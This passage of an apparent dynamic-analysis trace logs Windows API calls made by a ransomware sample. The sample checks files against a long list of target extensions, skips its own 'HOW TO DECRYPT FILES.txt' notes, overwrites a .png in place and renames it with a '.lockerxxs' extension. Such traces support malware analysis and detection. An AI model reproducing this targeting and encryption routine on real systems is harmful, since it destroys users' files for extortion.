HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.gpg") returned 0 [0084.006] lstrlenA (lpString="*.gpg") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.vsd") returned 0 [0084.006] lstrlenA (lpString="*.vsd") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.odg") returned 0 [0084.006] lstrlenA (lpString="*.odg") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.raw") returned 0 [0084.006] lstrlenA (lpString="*.raw") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.nef") returned 0 [0084.006] lstrlenA (lpString="*.nef") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.svg") returned 0 [0084.006] lstrlenA (lpString="*.svg") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.psd") returned 0 [0084.006] lstrlenA (lpString="*.psd") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.vmx") returned 0 [0084.006] lstrlenA (lpString="*.vmx") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.vmdk") returned 0 [0084.006] lstrlenA (lpString="*.vmdk") returned 6 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.vdi") returned 0 [0084.006] lstrlenA (lpString="*.vdi") returned 5 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.lay6") returned 0 [0084.006] lstrlenA (lpString="*.lay6") returned 6 [0084.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.mpeg") returned 0 [0084.007] lstrlenA (lpString="*.mpeg") returned 6 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.djvu") returned 0 [0084.007] lstrlenA (lpString="*.djvu") returned 6 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.tiff") returned 0 [0084.007] lstrlenA (lpString="*.tiff") returned 6 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.backup") returned 0 [0084.007] lstrlenA (lpString="*.backup") returned 8 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.pdf") returned 0 [0084.007] lstrlenA (lpString="*.pdf") returned 5 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.cert") returned 0 [0084.007] lstrlenA (lpString="*.cert") returned 6 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.docm") returned 0 [0084.007] lstrlenA (lpString="*.docm") returned 6 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.xlsm") returned 0 [0084.007] lstrlenA (lpString="*.xlsm") returned 6 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.dwg") returned 0 [0084.007] lstrlenA (lpString="*.dwg") returned 5 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.nd") returned 0 [0084.007] lstrlenA (lpString="*.nd") returned 4 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.tlg") returned 0 [0084.007] lstrlenA (lpString="*.tlg") returned 5 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.lgb") returned 0 [0084.007] lstrlenA (lpString="*.lgb") returned 5 [0084.007] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.mov") returned 0 [0084.008] lstrlenA (lpString="*.mov") returned 5 [0084.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.xdw") returned 0 [0084.008] lstrlenA (lpString="*.xdw") returned 5 [0084.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.ods") returned 0 [0084.008] lstrlenA (lpString="*.ods") returned 5 [0084.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.wav") returned 0 [0084.008] lstrlenA (lpString="*.wav") returned 5 [0084.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.mp3") returned 0 [0084.008] lstrlenA (lpString="*.mp3") returned 5 [0084.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.aiff") returned 0 [0084.008] lstrlenA (lpString="*.aiff") returned 6 [0084.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.flac") returned 0 [0084.008] lstrlenA (lpString="*.flac") returned 6 [0084.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.m4a") returned 0 [0084.008] lstrlenA (lpString="*.m4a") returned 5 [0084.008] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js", pszSpec="*.csv") returned 0 [0084.008] lstrlenA (lpString="*.csv") returned 5 [0084.008] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45987530, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45987530, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45987530, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="BB56XTo[1].png", cAlternateFileName="BB56XT~1.PNG")) returned 1 [0084.008] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.008] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BB56XTo[1].png") returned 1 [0084.008] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BB56XTo[1].png") returned 1 [0084.008] lstrcmpiA (lpString1="", lpString2="BB56XTo[1].png") returned -1 [0084.008] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js") returned="autotrack[1].js" [0084.009] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.009] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.009] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.009] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.009] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BB56XTo[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.ems") returned 0 [0084.009] lstrlenA (lpString="*.ems") returned 5 [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.db") returned 0 [0084.009] lstrlenA (lpString="*.db") returned 4 [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.dbf") returned 0 [0084.009] lstrlenA (lpString="*.dbf") returned 5 [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.myox") returned 0 [0084.009] lstrlenA (lpString="*.myox") returned 6 [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.myo") returned 0 [0084.009] lstrlenA (lpString="*.myo") returned 5 [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.qbw") returned 0 [0084.009] lstrlenA (lpString="*.qbw") returned 5 [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.qbb") returned 0 [0084.009] lstrlenA (lpString="*.qbb") returned 5 [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.qbm") returned 0 [0084.009] lstrlenA (lpString="*.qbm") returned 5 [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.qbo") returned 0 [0084.009] lstrlenA (lpString="*.qbo") returned 5 [0084.009] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.qbx") returned 0 [0084.010] lstrlenA (lpString="*.qbx") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.qba") returned 0 [0084.010] lstrlenA (lpString="*.qba") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.qby") returned 0 [0084.010] lstrlenA (lpString="*.qby") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.qbj") returned 0 [0084.010] lstrlenA (lpString="*.qbj") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.ofx") returned 0 [0084.010] lstrlenA (lpString="*.ofx") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.qif") returned 0 [0084.010] lstrlenA (lpString="*.qif") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.mye") returned 0 [0084.010] lstrlenA (lpString="*.mye") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.mbox") returned 0 [0084.010] lstrlenA (lpString="*.mbox") returned 6 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.eml") returned 0 [0084.010] lstrlenA (lpString="*.eml") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.pst") returned 0 [0084.010] lstrlenA (lpString="*.pst") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.ost") returned 0 [0084.010] lstrlenA (lpString="*.ost") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.idx") returned 0 [0084.010] lstrlenA (lpString="*.idx") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.dbx") returned 0 [0084.010] lstrlenA (lpString="*.dbx") returned 5 [0084.010] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.sql") returned 0 [0084.010] lstrlenA (lpString="*.sql") returned 5 [0084.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.mdb") returned 0 [0084.011] lstrlenA (lpString="*.mdb") returned 5 [0084.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.fdb") returned 0 [0084.011] lstrlenA (lpString="*.fdb") returned 5 [0084.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.wab") returned 0 [0084.011] lstrlenA (lpString="*.wab") returned 5 [0084.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.dat") returned 0 [0084.011] lstrlenA (lpString="*.dat") returned 5 [0084.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.txt") returned 0 [0084.011] lstrlenA (lpString="*.txt") returned 5 [0084.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.jpeg") returned 0 [0084.011] lstrlenA (lpString="*.jpeg") returned 6 [0084.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.jpg") returned 0 [0084.011] lstrlenA (lpString="*.jpg") returned 5 [0084.011] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", pszSpec="*.png") returned 1 [0084.011] lstrlenA (lpString="*.png") returned 5 [0084.011] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" [0084.011] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" [0084.011] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png." [0084.011] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png.lockerxxs" [0084.011] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.012] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x145 [0084.012] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45987530, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45987530, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45987530, dwHighDateTime=0x1d2faf3)) returned 1 [0084.012] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.013] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x11f, lpOverlapped=0x0) returned 1 [0084.043] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png") returned="BB56XTo[1].png" [0084.043] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.043] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x11f, lpOverlapped=0x0) returned 1 [0084.043] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.043] CloseHandle (hObject=0xa4) returned 1 [0084.043] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png.lockerxxs")) returned 1 [0084.045] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | 